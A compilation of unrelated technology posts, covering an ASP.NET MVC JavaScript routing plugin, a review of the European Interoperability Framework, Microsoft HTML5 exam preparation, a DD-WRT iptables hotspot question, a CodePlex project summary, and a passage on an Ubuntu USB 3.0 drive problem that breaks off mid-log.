I’ve built a simple jQuery pluggin (called routeManager) that hangs off the main jQuery namespace and routes all the URLs. Every time your solution builds, a routing file will be generated with this pluggin, all your route and controller definitions along with your documentation. Then by the power of Visual Studio, you get some really slick IntelliSense that is hard to live without. But there are a few steps you have to take before this whole thing is going to work. First and foremost, you need a reference to the JsRouting.Core.dll to your projects containing controllers or routes. Second, you have to specify your routes in a bit of a non-standard way. See, we can’t just pull routes out of your App_Start in your Global.asax. We force you to build a route source like this: The way we determine the routes is by pulling in all RouteSources and generating routes based upon the mapped routes. There are various reasons why we can’t use RouteCollection (different post for another day)… but in this case, you get the same route mapping experience. Converting the RouteSource to a RouteCollection is trivial (there’s an extension method for that). Next thing you have to do is generate a documentation XML file. This is done by going to the project settings, going to the build tab and clicking the checkbox. (this isn’t required, but nice to have). The final thing you need to do is hook up the generation mechanism. Pop open your project file and look for the AfterBuild step. Now change the build step task to look like this: The “PathToOutputExe” is the path to the JsRouting.Output.exe file. This will change based on where you put the EXE. The “PathToOutputJs” is a path to the output JavaScript file. The “DicrectoryOfAssemblies” is a path to the directory containing controller and routing DLLs. The JsRouting.Output.exe executable pulls in all these assemblies and scans them for controllers and route sources.   Now that wasn’t too bad, was it :)   The State of the Project This is definitely not complete… I have a lot of plans for this little project of mine. For starters, I need to look at the generation mechanism. Either I will be creating a utility that will do the project file manipulation or I will go a different direction. I’d like some feedback on this if you feel partial either way. Another thing I don’t support currently is areas. While this wouldn’t be too hard to support, I just don’t use areas and I wanted something up quickly (this is, after all, for a current project of mine). I’ll be adding support shortly. There are a few things that I haven’t covered in this post that I will most certainly be covering in another post, such as routing constraints and how these will be translated to JavaScript. I decided to open source this whole thing, since it’s a nice little utility I think others should really be using. Currently we’re using ASP.NET MVC 2, but it should work with MVC 3 as well. I’ll upgrade it as soon as MVC 3 is released. Along those same lines, I’m investigating how this could be put on the NuGet feed. Show me the Bits! OK, OK! The code is posted on my GitHub account. Go nuts. Tell me what you think. Tell me what you want. Tell me that you hate it. All feedback is welcome! https://github.com/zowens/ASP.NET-MVC-JavaScript-Routing

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• European Interoperability Framework - a new beginning?

  - by trond-arne.undheim

  The most controversial document in the history of the European Commission's IT policy is out. EIF is here, wrapped in the Communication "Towards interoperability for European public services", and including the new feature European Interoperability Strategy (EIS), arguably a higher strategic take on the same topic. Leaving EIS aside for a moment, the EIF controversy has been around IPR, defining open standards and about the proper terminology around standardization deliverables. Today, as the document finally emerges, what is the verdict? First of all, to be fair to those among you who do not spend your lives in the intricate labyrinths of Commission IT policy documents on interoperability, let's define what we are talking about. According to the Communication: "An interoperability framework is an agreed approach to interoperability for organisations that want to collaborate to provide joint delivery of public services. Within its scope of applicability, it specifies common elements such as vocabulary, concepts, principles, policies, guidelines, recommendations, standards, specifications and practices." The Good - EIF reconfirms that "The Digital Agenda can only take off if interoperability based on standards and open platforms is ensured" and also confirms that "The positive effect of open specifications is also demonstrated by the Internet ecosystem." - EIF takes a productive and pragmatic stance on openness: "In the context of the EIF, openness is the willingness of persons, organisations or other members of a community of interest to share knowledge and stimulate debate within that community, the ultimate goal being to advance knowledge and the use of this knowledge to solve problems" (p.11). "If the openness principle is applied in full: - All stakeholders have the same possibility of contributing to the development of the specification and public review is part of the decision-making process; - The specification is available for everybody to study; - Intellectual property rights related to the specification are licensed on FRAND terms or on a royalty-free basis in a way that allows implementation in both proprietary and open source software" (p. 26). - EIF is a formal Commission document. The former EIF 1.0 was a semi-formal deliverable from the PEGSCO, a working group of Member State representatives. - EIF tackles interoperability head-on and takes a clear stance: "Recommendation 22. When establishing European public services, public administrations should prefer open specifications, taking due account of the coverage of functional needs, maturity and market support." - The Commission will continue to support the National Interoperability Framework Observatory (NIFO), reconfirming the importance of coordinating such approaches across borders. - The Commission will align its internal interoperability strategy with the EIS through the eCommission initiative. - One cannot stress the importance of using open standards enough, whether in the context of open source or non-open source software. The EIF seems to have picked up on this fact: What does the EIF says about the relation between open specifications and open source software? The EIF introduces, as one of the characteristics of an open specification, the requirement that IPRs related to the specification have to be licensed on FRAND terms or on a royalty-free basis in a way that allows implementation in both proprietary and open source software. In this way, companies working under various business models can compete on an equal footing when providing solutions to public administrations while administrations that implement the standard in their own software (software that they own) can share such software with others under an open source licence if they so decide. - EIF is now among the center pieces of the Digital Agenda (even though this demands extensive inter-agency coordination in the Commission): "The EIS and the EIF will be maintained under the ISA Programme and kept in line with the results of other relevant Digital Agenda actions on interoperability and standards such as the ones on the reform of rules on implementation of ICT standards in Europe to allow use of certain ICT fora and consortia standards, on issuing guidelines on essential intellectual property rights and licensing conditions in standard-setting, including for ex-ante disclosure, and on providing guidance on the link between ICT standardisation and public procurement to help public authorities to use standards to promote efficiency and reduce lock-in.(Communication, p.7)" All in all, quite a few good things have happened to the document in the two years it has been on the shelf or was being re-written, depending on your perspective, in any case, awaiting the storms to calm. The Bad - While a certain pragmatism is required, and governments cannot migrate to full openness overnight, EIF gives a bit too much room for governments not to apply the openness principle in full. Plenty of reasons are given, which should maybe have been put as challenges to be overcome: "However, public administrations may decide to use less open specifications, if open specifications do not exist or do not meet functional interoperability needs. In all cases, specifications should be mature and sufficiently supported by the market, except if used in the context of creating innovative solutions". - EIF does not use the internationally established terminology: open standards. Rather, the EIF introduces the notion of "formalised specification". How do "formalised specifications" relate to "standards"? According to the FAQ provided: The word "standard" has a specific meaning in Europe as defined by Directive 98/34/EC. Only technical specifications approved by a recognised standardisation body can be called a standard. Many ICT systems rely on the use of specifications developed by other organisations such as a forum or consortium. The EIF introduces the notion of "formalised specification", which is either a standard pursuant to Directive 98/34/EC or a specification established by ICT fora and consortia. The term "open specification" used in the EIF, on the one hand, avoids terminological confusion with the Directive and, on the other, states the main features that comply with the basic principle of openness laid down in the EIF for European Public Services. Well, this may be somewhat true, but in reality, Europe is 30 year behind in terminology. Unless the European Standardization Reform gets completed in the next few months, most Member States will likely conclude that they will go on referencing and using standards beyond those created by the three European endorsed monopolists of standardization, CEN, CENELEC and ETSI. Who can afford to begin following the strict Brussels rules for what they can call open standards when, in reality, standards stemming from global standardization organizations, so-called fora/consortia, dominate in the IT industry. What exactly is EIF saying? Does it encourage Member States to go on using non-ESO standards as long as they call it something else? I guess I am all for it, although it is a bit cumbersome, no? Why was there so much interest around the EIF? The FAQ attempts to explain: Some Member States have begun to adopt policies to achieve interoperability for their public services. These actions have had a significant impact on the ecosystem built around the provision of such services, e.g. providers of ICT goods and services, standardisation bodies, industry fora and consortia, etc... The Commission identified a clear need for action at European level to ensure that actions by individual Member States would not create new electronic barriers that would hinder the development of interoperable European public services. As a result, all stakeholders involved in the delivery of electronic public services in Europe have expressed their opinions on how to increase interoperability for public services provided by the different public administrations in Europe. Well, it does not take two years to read 50 consultation documents, and the EU Standardization Reform is not yet completed, so, more pragmatically, you finally had to release the document. Ok, let's leave some of that aside because the document is out and some people are happy (and others definitely not). The Verdict Considering the controversy, the delays, the lobbying, and the interests at stake both in the EU, in Member States and among vendors large and small, this document is pretty impressive. As with a good wine that has not yet come to full maturity, let's say that it seems to be coming in in the 85-88/100 range, but only a more fine-grained analysis, enjoyment in good company, and ultimately, implementation, will tell. The European Commission has today adopted a significant interoperability initiative to encourage public administrations across the EU to maximise the social and economic potential of information and communication technologies. Today, we should rally around this achievement. Tomorrow, let's sit down and figure out what it means for the future.

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• Learning content for MCSDs: Web Applications and Windows Store Apps using HTML5

  Recently, I started again to learn for various Microsoft certifications. First candidate on my way to MSCD: Web Applications is the Exam 70-480: Programming in HTML5 with JavaScript and CSS3. Motivation to go for a Microsoft exam I guess, this is quite personal but let me briefly describe my intentions to go that exam. First, I'm doing web development since the 1990's. Working with HTML, CSS and Javascript is happening almost daily in my workspace. And honestly, I do not only do 'pure' web development but already integrated several HTML/CSS/Javascript frontend UIs into an existing desktop application (written in Visual FoxPro) inclusive two-way communication and data exchange. Hm, might be an interesting topic for another blog article here... Second, this exam has a very interesting aspect which is listed at the bottom of the exam's details: Credit Toward Certification When you pass Exam 70-480: Programming in HTML5 with JavaScript and CSS3, you complete the requirements for the following certification(s): Programming in HTML5 with JavaScript and CSS3 Specialist Exam 70-480: Programming in HTML5 with JavaScript and CSS3: counts as credit toward the following certification(s): MCSD: Web Applications MCSD: Windows Store Apps using HTML5 So, passing one single exam will earn you specialist certification straight-forward, and opens the path to higher levels of certifications. Preparations and learning path Well, due to a newsletter from Microsoft Learning (MSL) I caught interest in picking up the circumstances and learning materials for this particular exam. As of writing this article there is a promotional / voucher code available which enables you to register for this exam for free! Simply register yourself with or log into your existing account at Prometric, choose the exam for a testing facility near to you and enter the voucher code HTMLJMP (available through 31.03.2013 or while supplies last). Hurry up, there are restrictions... As stated above, I'm already very familiar with web development and the programming flavours involved into this. But of course, it is always good to freshen up your knowledge and reflect on yourself. Microsoft is putting a lot of effort to attract any kind of developers into the 'App Development'. Whether it is for the Windows 8 Store or the Windows Phone 8 Store, doesn't really matter. They simply need more apps. This demand for skilled developers also comes with a nice side-effect: Lots and lots of material to study. During the first couple of hours, I could easily gather high quality preparation material - again for free! Following is just a small list of starting points. If you have more resources, please drop me a message in the comment section, and I'll be glad to update this article accordingly. Developing HTML5 Apps Jump Start This is an accelerated jump start video course on development of HTML5 Apps for Windows 8. There are six modules that are split into two video sessions per module. Very informative and intense course material. This is packed stuff taken from an official preparation course for exam 70-480. Developing Windows Store Apps with HTML5 Jump Start Again, an accelerated preparation video course on Windows 8 Apps. There are six modules with two video sessions each which will catapult you to your exam. This is also related to preps for exam 70-481. Programming Windows 8 Apps with HTML, CSS, and JavaScript Kraig Brockschmidt delves into the ups and downs of Windows 8 App development over 800+ pages. Great eBook to read, study, and to practice the samples - best of all, it's for free. codeSHOW() This is a Windows 8 HTML/JS project with the express goal of demonstrating simple development concepts for the Windows 8 platform. Code, code and more code... absolutely great stuff to study and practice. Microsoft Virtual Academy I already wrote about the MVA in a previous article. Well, if you haven't registered yourself yet, now is the time. The list is not complete for sure, but this might keep you busy for at least one or even two weeks to go through the material. Please don't hesitate to add more resources in the comment section. Right now, I'm already through all videos once, and digging my way through chapter 4 of Kraig's book. Additional material - Pluralsight Apart from those free online resources, I also following some courses from the excellent library of Pluralsight. They already have their own section for Windows 8 development, but of course, you get companion material about HTML5, CSS and Javascript in other sections, too. Introduction to Building Windows 8 Applications Building Windows 8 Applications with JavaScript and HTML Selling Windows 8 Apps HTML5 Fundamentals Using HTML5 and CSS3 HTML5 Advanced Topics CSS3 etc... Interesting to see that Michael Palermo provides his course material on multiple platforms. Fantastic! You might also pay a visit to his personal blog. Hm, it just came to my mind that Aaron Skonnard of Pluralsight publishes so-called '24 hours Learning Paths' based on courses available in the course library. Would be interested to see a combination for Windows 8 App development using HTML5, CSS3 and Javascript in the future. Recommended workspace environment Well, you might have guessed it but this requires Windows 8, Visual Studio 2012 Express or another flavour, and a valid Developers License. Due to an MSDN subscription I working on VS 2012 Premium with some additional tools by Telerik. Honestly, the fastest way to get you up and running for Windows 8 App development is the source code archive of codeSHOW(). It does not only give you all source code in general but contains a couple of SDKs like Bing Maps, Microsoft Advertising, Live ID, and Telerik Windows 8 controls... for free! Hint: Get the Windows Phone 8 SDK as well. Don't worry, while you are studying the material for Windows 8 you will be able to leverage from this knowledge to development for the phone platform, too. It takes roughly one to two hours to get your workspace and learning environment, at least this was my time frame due to slow internet connection and an aged spare machine. ;-) Oh, before I forget to mention it, as soon as you're done, go quickly to the Windows Store and search for ClassBrowserPlus. You might not need it ad hoc for your development using HTML5, CSS and Javascript but I think that it is a great developer's utility that enables you to view the properties, methods and events (along with help text) for all Windows 8 classes. It's always good to look behind the scenes and to explore how it is made. Idea: Start/join a learning group The way you learn new things or intensify your knowledge in a certain technology is completely up to your personal preference. Back in my days at the university, we used to meet once or twice a week in a small quiet room to exchange our progress, questions and problems we ran into. In general, I recommend to any software craftsman to lift your butt and get out to exchange with other developers. Personally, I like this approach, as it gives you new points of view and an insight into others' own experience with certain techniques and how they managed to solve tricky issues. Just keep it relaxed and not too formal after all, and you might a have a good time away from your dull office desk. Give your machine a break, too.

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• iptables to allow 80 and 443 on chillispot running ddwrt

  - by user76682

  I am having problems setting this up. this is what I am trying to do. I have Chillispot (hotpsot) running on dd-wrt. Everything is setup, but the client wants only 80 and 443 to go through through the hotspot. I found this tutorial for dd-wrt but that doesnt seem to work. http://www.dd-wrt.com/wiki/index.php/Iptables#Allow_HTTP_traffic_only_to_specific_domain.28s.29 Initially I tried to place the options at the top but didnt work. then i flushed the iptables and set only these three. I can see the pkts number grow but for some reason I can browse. root@DD-WRT:~# iptables -nvL FORWARD Chain FORWARD (policy ACCEPT 3105 packets, 2442K bytes) pkts bytes target prot opt in out source destination 1629 230K ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 21,80,443 2346 2792K ACCEPT 0 -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED 328 46420 DROP 0 -- * * 0.0.0.0/0 0.0.0.0/0 Heres some info from the router, chillispot is the tun0 interface. root@DD-WRT:~# iptables -vnL FORWARD --line-numbers Chain FORWARD (policy DROP 0 packets, 0 bytes) num pkts bytes target prot opt in out source destination 1 0 0 ACCEPT 47 -- * vlan1 192.168.8.0/24 0.0.0.0/0 2 0 0 ACCEPT tcp -- * vlan1 192.168.8.0/24 0.0.0.0/0 tcp dpt:1723 3 32 1851 ACCEPT 0 -- tun0 * 0.0.0.0/0 0.0.0.0/0 state NEW 4 0 0 ACCEPT 0 -- br0 br0 0.0.0.0/0 0.0.0.0/0 5 48 2408 TCPMSS tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp flags:0x06/0x02 TCPMSS clamp to PMTU 6 756 452K lan2wan 0 -- * * 0.0.0.0/0 0.0.0.0/0 7 756 452K ACCEPT 0 -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED 8 0 0 TRIGGER 0 -- vlan1 br0 0.0.0.0/0 0.0.0.0/0 TRIGGER type:in match:0 relate:0 9 0 0 trigger_out 0 -- br0 * 0.0.0.0/0 0.0.0.0/0 10 0 0 ACCEPT 0 -- br0 * 0.0.0.0/0 0.0.0.0/0 state NEW 11 0 0 DROP 0 -- * * 0.0.0.0/0 0.0.0.0/0 12 0 0 DROP 0 -- br0 * 0.0.0.0/0 0.0.0.0/0 13 0 0 DROP 0 -- * br0 0.0.0.0/0 0.0.0.0/0 The interfaces: root@DD-WRT:~# ifconfig -a br0 Link encap:Ethernet HWaddr 00:12:17:CF:80:5F inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2371 errors:0 dropped:0 overruns:0 frame:0 TX packets:1862 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:259721 (253.6 KiB) TX bytes:254862 (248.8 KiB) br0:0 Link encap:Ethernet HWaddr 00:12:17:CF:80:5F inet addr:169.254.255.1 Bcast:169.254.255.255 Mask:255.255.0.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 eth0 Link encap:Ethernet HWaddr 00:12:17:CF:80:5F UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:5050 errors:0 dropped:0 overruns:0 frame:0 TX packets:2508 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1066410 (1.0 MiB) TX bytes:376001 (367.1 KiB) Interrupt:5 eth1 Link encap:Ethernet HWaddr 00:12:17:CF:80:61 UP BROADCAST RUNNING ALLMULTI MULTICAST MTU:1500 Metric:1 RX packets:729 errors:0 dropped:0 overruns:0 frame:114693 TX packets:697 errors:2 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:107869 (105.3 KiB) TX bytes:473134 (462.0 KiB) Interrupt:4 Base address:0x1000 etherip0 Link encap:Ethernet HWaddr 1E:13:B7:09:CC:8C BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MULTICAST MTU:16436 Metric:1 RX packets:18 errors:0 dropped:0 overruns:0 frame:0 TX packets:18 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1210 (1.1 KiB) TX bytes:1210 (1.1 KiB) teql0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 NOARP MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 inet addr:192.168.182.1 P-t-P:192.168.182.1 Mask:255.255.255.0 UP POINTOPOINT RUNNING MTU:1500 Metric:1 RX packets:662 errors:0 dropped:0 overruns:0 frame:0 TX packets:587 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:10 RX bytes:92167 (90.0 KiB) TX bytes:427657 (417.6 KiB) vlan0 Link encap:Ethernet HWaddr 00:12:17:CF:80:5F UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2371 errors:0 dropped:0 overruns:0 frame:0 TX packets:1864 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:269558 (263.2 KiB) TX bytes:262680 (256.5 KiB) vlan1 Link encap:Ethernet HWaddr 00:12:17:CF:80:60 inet addr:10.3.2.47 Bcast:10.255.255.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2675 errors:0 dropped:0 overruns:0 frame:0 TX packets:645 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:705429 (688.8 KiB) TX bytes:102197 (99.8 KiB) The routing table: root@DD-WRT:~# netstat -nr Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 192.168.182.0 0.0.0.0 255.255.255.0 U 0 0 0 tun0 10.3.2.0 0.0.0.0 255.255.255.0 U 0 0 0 vlan1 192.168.8.0 0.0.0.0 255.255.255.0 U 0 0 0 br0 169.254.0.0 0.0.0.0 255.255.0.0 U 0 0 0 br0 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo 0.0.0.0 10.3.2.1 0.0.0.0 UG 0 0 0 vlan1 Highly appreciate your help. TIA, Arun

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• CodePlex Daily Summary for Monday, May 24, 2010

  CodePlex Daily Summary for Monday, May 24, 2010New Projects(SocketCoder) Full Silverlight Web Video/Voice Conference: Is an open source project to develop full Silverlight Web Video/Voice Conference System in C# .NETabc123: Prueba Archetype Programming Language: See http://dvanderboom.wordpress.comBusiness Process Automation (BPA): BPA is a project initiative to develop an ERP which will integrate with work flow of an organization. It is build on the concept that all business ...Content Rendering: Content Rendering is a .NET 3.5 string template engine. The program uses reflection, an extensibility API and a template document, which has a cust...DTA Output Renamer: The DTA Output Renamer takes recommendations from the SQL Server Database Tuning Advisor (DTA) and updates the names of the indexes/statistics to b...Flexible Editing Toolkit: The Flexible Editing Toolkit aims to enable users who have coding experience in .Net to write own editors/tools using an easy-to-use framework and ...Fluent NHibernate, MVC 2: Projeto ultra simples desenvolvido em Asp.Net MVC 2 com Fluent NHibernate. Foram utilizadas camadas baseadas no DDD. Sample project to test DDD arc...GravityGame: Proyecto del capítulo del IGDA en el Tec de Monterrey Campus Sonora Norte. El objetivo es la creación de un primer juego para conocer cuales son l...Partner Relationship Management (PRM) Accelerator for Microsoft Dynamics CRM: R2 of the PRM accelerator for Microsoft Dynamics CRM.Posh-Hg: Mercurial integration for Windows PowershellSuiteMap: selfSvenska till Rövarspråket: Översätter svenska till rövarspråketTV4Home: This projects extends MediaPortal TV Server with a solution for MediaCenter clients, a Web-Interface and a WHS Add-In.User Profile WebPart: Use this webpart to display SharePoint User Profile information. VolumeMasterCmd: Command line application that will set the wave volume level. Usage: VolumeMaster | VolumeMaster [0-100] Display or set the wave volume level ...wawa cloud store service: 盖茨描述了云计算和云存储之间的区别。“人们老是会搞混。云存储是把你的文件存储到其他地方，进行备份，这和云计算是不同的。这两者都很了不起，都是很好的技术。” 他表示，“云存储的效能没有折扣，因此富于理性的存储经理将会考虑使用云存储技术。” 相反，他表示云计算则会有一些问题，延迟和带宽都可能会...XNA Collision Detection: A collision library which extracts the triangles from a given model, and tests for collision using multiple methods on all existing triangles. Thi...You Private Social Network: YourPrivateNet is for all people who are unsatisfied with how social networking giants, namely facebook, are dealing with privacy and the users dat...New ReleasesArchetype Programming Language: C Sharp 4.0 Grammar in M: This is a C# 4.0 grammar that I am using to learn about parsers and the process of generating ASTs, in preparation for doing the same for the Arche...CassiniDev - Cassini 3.5/4.0 Developers Edition: CassiniDev 3.5.1.4 and 4.0.1.4 beta3: Binary release includes: .net 3.5sp1 and 4.0 builds of Gui app, Console app, Library assembly and Visual Studio development server replacements f...ClosedXML - The easy way to OpenXML: ClosedXML 0.10: The current build has the following capabilities: Can create new workbooks Add worksheets Access cells using R1C1, A1, and mixed notations. A...CRM Web Service Toolkit: MSCRM4 Web Service Toolkit for JavaScript v2.0: MSCRM Web Service Toolkit for JavaScript v2.0. The release contains: CrmServiceToolkit.js (The uncompressed code) CrmServiceToolkit.min.js (The ...DBFramework: Kenly.DBFramework4.6.5.2: Kenly.DBFramework4.6.5.2eComic: eComic 2010.0.0.1: With the release of .NET 4.0 the system was upgraded. This upgrade involved starting the project over from scratch, so the installation package wil...Exchange 2010 RBAC Editor (RBAC GUI) - updated on 5/24/2010: RBAC Editor 0.9.3.1: Some bugs fixed, support added for unscopedtoplevel roles (still in progress), added logging capabilities Please use email address in About menu o...Hammock for REST: Hammock v1.0.4: v1.0.4 ChangesAdded handling for special characters in OAuth signatures (\r\n\t\b) Corrected an inconsistency in OAuth GET vs. POST when encoding...HKGolden Express: HKGoldenExpress (Build 201005231730): New features: (None) Bug fix: Fixed problem of unable to start new thread. Fixed problem of unable to show user icons due to incorrect path. ...Kurumsal Ofis Paketi: Kurumsal Ofis Paketi Sürüm 1.0: Kurumsal Ofis Paketi Sürüm 1.0MDownloader: MDownloader-0.15.15.59175: Fixed FileFactory implementation (FileFactory team doesn't give up); Fixed minor bugs.Munq: Tools for ASP.NET MVC: Munq IocContainer Version 2.0: The latest and greatest.NLog - Advanced .NET Logging: Nightly Build 2010.05.23.001: Changes since the last build:2010-05-23 00:01:19 Jarek Kowalski Made contition on <when /> required. Added unit tests. 2010-05-22 20:06:16 Jarek K...NUnit for Team Build: Version 2.0 Alpha 1: This version has experimental TFS 2010 support. I have been using it successfully with TFS 2010 for a few weeks now with no problems. It should be ...Partner Relationship Management (PRM) Accelerator for Microsoft Dynamics CRM: PRM Accelerator (R2) for Dynamics CRM 4.0: The Partner Relationship Management (PRM) Accelerator allows businesses to use Microsoft Dynamics CRM to distribute sales leads and centrally manag...Percussion Toolkit: Command line Note Detector 1.0: A command line tool for detecting note onsets in WAV files. Note: Currently only supports 32-bit float encoded Microsoft WAV files with a sample ...Percussion Toolkit: Reference Input Data Set (A): This release contains a set of input WAV files for testing note onset detection accuracy and effectiveness. The archive contains computer-generate...Percussion Toolkit: Rhythm Friend: Rhythm Friend is an interactive tool for practicing drum rudiments. It provides a simple metronome coupled with rhythm coach features.SharePoint List Field Manager: SharePoint List Field Manager: This is Version 2 of the SharePoint List Field Manager. First created for CorasWorks customers, we have decided to make it publically available to ...Silverlight 4.0 Popup Menu: Context Menu for Silverlight 4.0 v1.2 Beta: - Added delay on hover events for both parent and child menus. - Parent menus now close automatically when child menu is clicked. - Updated referen...Software Is Hardwork: Sw. Is Hw. Lib. 3.0.0.x+03: Sw. Is Hw. Lib. 3.0.0.x+03 UNSUPPORTED, UNTESTED ALPHA RELEASE Code may disappear. This is just a preview of code that was in progress. Code is s...The Fastcopy Helper: The Fastcopy Helper 2.0: The Fastcopy Helper 2.0 This is a new method to run for it . Fastcopy同步辅助器 方案二 这个方案二，是使用了全新的方法进行磁盘文件扫描，和比较。速度飙升到最快！同时优化了很多细节的内容，使得性能大幅度提升。User Profile WebPart: UserProfileWebPart 1.0: Inititial release.VCC: Latest build, v2.1.30523.0: Automatic drop of latest buildVolumeMasterCmd: VolumeMaster 1.0: First release.XNA Collision Detection: XNA Static Collider: Provides collision detection between a Model and BoundingSphere, or a Model and Ray. An example of how to initialize a collision object: Collidee...xxfd1r4w96: 20100523: Приложението има следната функционалност: 1. Добавяне на сайта https://online.bulbank.bg в trusted sites. 2. Инсталиране на Bulbank Root Certificat...Yet another developer blog - Examples: Asynchronous Form in ASP.NET MVC: This sample application shows how to use jQuery Validation plugin for creating an asynchronous form in ASP.NET MVC 1 with client side validation. T...Most Popular ProjectsRawrWBFS ManagerAJAX Control ToolkitMicrosoft SQL Server Product Samples: DatabaseSilverlight ToolkitWindows Presentation Foundation (WPF)patterns & practices – Enterprise LibraryPHPExcelMicrosoft SQL Server Community & SamplesASP.NETMost Active ProjectsRawrpatterns & practices – Enterprise LibrarySqlServerExtensionsGMap.NET - Great Maps for Windows Forms & PresentationCaliburn: An Application Framework for WPF and Silverlightpatterns & practices: Windows Azure Security GuidanceCassiniDev - Cassini 3.5/4.0 Developers EditionNB_Store - Free DotNetNuke Ecommerce Catalog ModuleCodeReviewBlogEngine.NET

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• External usb 3.0 hard drive is not recognised when plugged into usb 3 port (ubuntu natty 64 bit).

  - by kimangroo

  I have an Iomega Prestige Portable External Hard Drive 1TB USB 3.0. It works fine on windows 7 as a usb 3.0 drive. It isn't detected on ubuntu natty 64bit, 2.6.38-8-generic. fdisk -l cannot see it at all: Disk /dev/sda: 500.1 GB, 500107862016 bytes 255 heads, 63 sectors/track, 60801 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x1bed746b Device Boot Start End Blocks Id System /dev/sda1 1 1689 13560832 27 Unknown /dev/sda2 * 1689 1702 102400 7 HPFS/NTFS /dev/sda3 1702 19978 146805760 7 HPFS/NTFS /dev/sda4 19978 60802 327914497 5 Extended /dev/sda5 25555 60802 283120640 7 HPFS/NTFS /dev/sda6 19978 23909 31571968 83 Linux /dev/sda7 23909 25555 13218816 82 Linux swap / Solaris Partition table entries are not in disk order lsusb can see it: Bus 003 Device 003: ID 059b:0070 Iomega Corp. Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 002 Device 004: ID 05fe:0011 Chic Technology Corp. Browser Mouse Bus 002 Device 003: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode) Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 005: ID 0489:e00f Foxconn / Hon Hai Bus 001 Device 004: ID 0c45:64b5 Microdia Bus 001 Device 003: ID 08ff:168f AuthenTec, Inc. Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub And dmesg | grep -i xhci (I may have unplugged the drive and plugged it back in again after booting): [ 1.659060] pci 0000:04:00.0: xHCI HW did not halt within 2000 usec status = 0x0 [ 11.484971] xhci_hcd 0000:04:00.0: PCI INT A -> GSI 18 (level, low) -> IRQ 18 [ 11.484997] xhci_hcd 0000:04:00.0: setting latency timer to 64 [ 11.485002] xhci_hcd 0000:04:00.0: xHCI Host Controller [ 11.485064] xhci_hcd 0000:04:00.0: new USB bus registered, assigned bus number 3 [ 11.636149] xhci_hcd 0000:04:00.0: irq 18, io mem 0xc5400000 [ 11.636241] xhci_hcd 0000:04:00.0: irq 43 for MSI/MSI-X [ 11.636246] xhci_hcd 0000:04:00.0: irq 44 for MSI/MSI-X [ 11.636251] xhci_hcd 0000:04:00.0: irq 45 for MSI/MSI-X [ 11.636256] xhci_hcd 0000:04:00.0: irq 46 for MSI/MSI-X [ 11.636261] xhci_hcd 0000:04:00.0: irq 47 for MSI/MSI-X [ 11.639654] xHCI xhci_add_endpoint called for root hub [ 11.639655] xHCI xhci_check_bandwidth called for root hub [ 11.956366] usb 3-1: new SuperSpeed USB device using xhci_hcd and address 2 [ 12.001073] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 12.007059] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 12.012932] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 12.018922] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 12.049139] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 12.056754] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 12.131607] xhci_hcd 0000:04:00.0: WARN no SS endpoint bMaxBurst [ 12.179717] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 12.686876] xhci_hcd 0000:04:00.0: WARN: babble error on endpoint [ 12.687058] xhci_hcd 0000:04:00.0: WARN Set TR Deq Ptr cmd invalid because of stream ID configuration [ 12.687152] xhci_hcd 0000:04:00.0: ERROR Transfer event for disabled endpoint or incorrect stream ring [ 43.330737] usb 3-1: reset SuperSpeed USB device using xhci_hcd and address 2 [ 43.422579] xhci_hcd 0000:04:00.0: WARN: short transfer on control ep [ 43.422658] xhci_hcd 0000:04:00.0: xHCI xhci_drop_endpoint called with disabled ep ffff88014669af00 [ 43.422665] xhci_hcd 0000:04:00.0: xHCI xhci_drop_endpoint called with disabled ep 